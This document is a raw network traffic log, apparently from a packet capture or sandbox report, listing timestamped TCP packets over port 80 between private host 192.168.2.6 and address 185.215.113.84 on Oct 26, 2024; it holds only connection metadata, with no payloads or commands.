Oct 26, 2024 07:27:11.474309921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.474312067 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.474325895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.474327087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.474342108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.474344969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.474354029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.474358082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.474374056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.474396944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.527489901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.527563095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.527578115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.527591944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.527607918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.527645111 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.527661085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.527667046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.527779102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.527779102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.554651976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554704905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554721117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554744959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554760933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554776907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554792881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554840088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554855108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554869890 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554883003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554913044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554930925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554944992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554960966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.554960966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.554960966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.554960966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.554981947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.554986954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.554986954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555001020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555017948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555042982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555053949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555058002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555071115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555094957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555108070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555125952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555139065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555177927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555219889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555253983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555269003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555288076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555289030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555332899 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555334091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555351973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555375099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555376053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555386066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555392981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555408955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555412054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555423975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555428028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555440903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555464029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555480003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555495977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555511951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555529118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555532932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555545092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555557966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555560112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555574894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555584908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555597067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555603981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555613995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555632114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555648088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555830002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555845022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555860043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555892944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555907011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555922985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555938959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555952072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555962086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555969954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.555980921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.555995941 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556016922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556030989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556047916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556077003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556085110 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556092978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556108952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556122065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556132078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556145906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556168079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556194067 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556199074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556200981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556215048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556236029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556251049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556329966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556351900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556374073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556389093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556392908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556404114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556413889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556426048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556438923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556442022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556457043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556466103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556473017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556488037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556494951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556513071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556514978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556528091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556539059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556543112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556557894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556567907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556572914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556583881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556585073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556601048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556605101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556617022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556617022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556634903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556639910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556648016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556657076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556665897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556672096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556674957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556684017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556691885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556737900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556768894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556782961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556821108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.556838036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556858063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.556895018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.557050943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557094097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.557106972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557123899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557131052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557152987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.557164907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.557435989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557451010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557487965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.557521105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557537079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557550907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557563066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.557574034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557586908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.557590008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557606936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557615042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.557624102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.557641983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.557651043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.557663918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558269978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558284044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558305025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558309078 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558321953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558321953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558339119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558342934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558355093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558365107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558393955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558418036 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558429956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558465958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558481932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558496952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558504105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558521986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558527946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558538914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558551073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558554888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558564901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558568954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558578968 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558585882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.558598042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558614969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.558624983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559021950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559062004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559089899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559103966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559118986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559127092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559137106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559142113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559151888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559161901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559176922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559200048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559325933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559350014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559367895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559376001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559390068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559413910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559490919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559525013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559530973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559540987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559564114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559565067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559575081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559581995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559597969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559602976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559616089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559618950 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559631109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559634924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559653997 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559672117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559705019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559719086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559732914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559741020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559748888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559765100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559766054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559781075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559784889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559813023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559860945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559875011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559883118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559930086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559945107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559959888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559974909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.559982061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.559994936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560007095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560012102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560018063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560034037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560038090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560051918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560053110 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560066938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560071945 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560090065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560102940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560131073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560144901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560165882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560169935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560184002 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560184956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560201883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560214996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560224056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560230970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560234070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560245991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560254097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560273886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560288906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560292006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560314894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560328007 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560331106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560347080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560350895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560364008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560367107 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560379028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560383081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560398102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560410976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560430050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560445070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560467958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560482979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560483932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560507059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560508013 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560523033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560530901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560538054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560544968 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560554028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560564041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560578108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560590982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560596943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560607910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560630083 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560631037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560638905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560647011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560662031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560667038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560683966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560684919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560694933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560703039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560717106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560722113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.560743093 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.560746908 CEST	80	49991	185.215.113.84	192.168.2.6
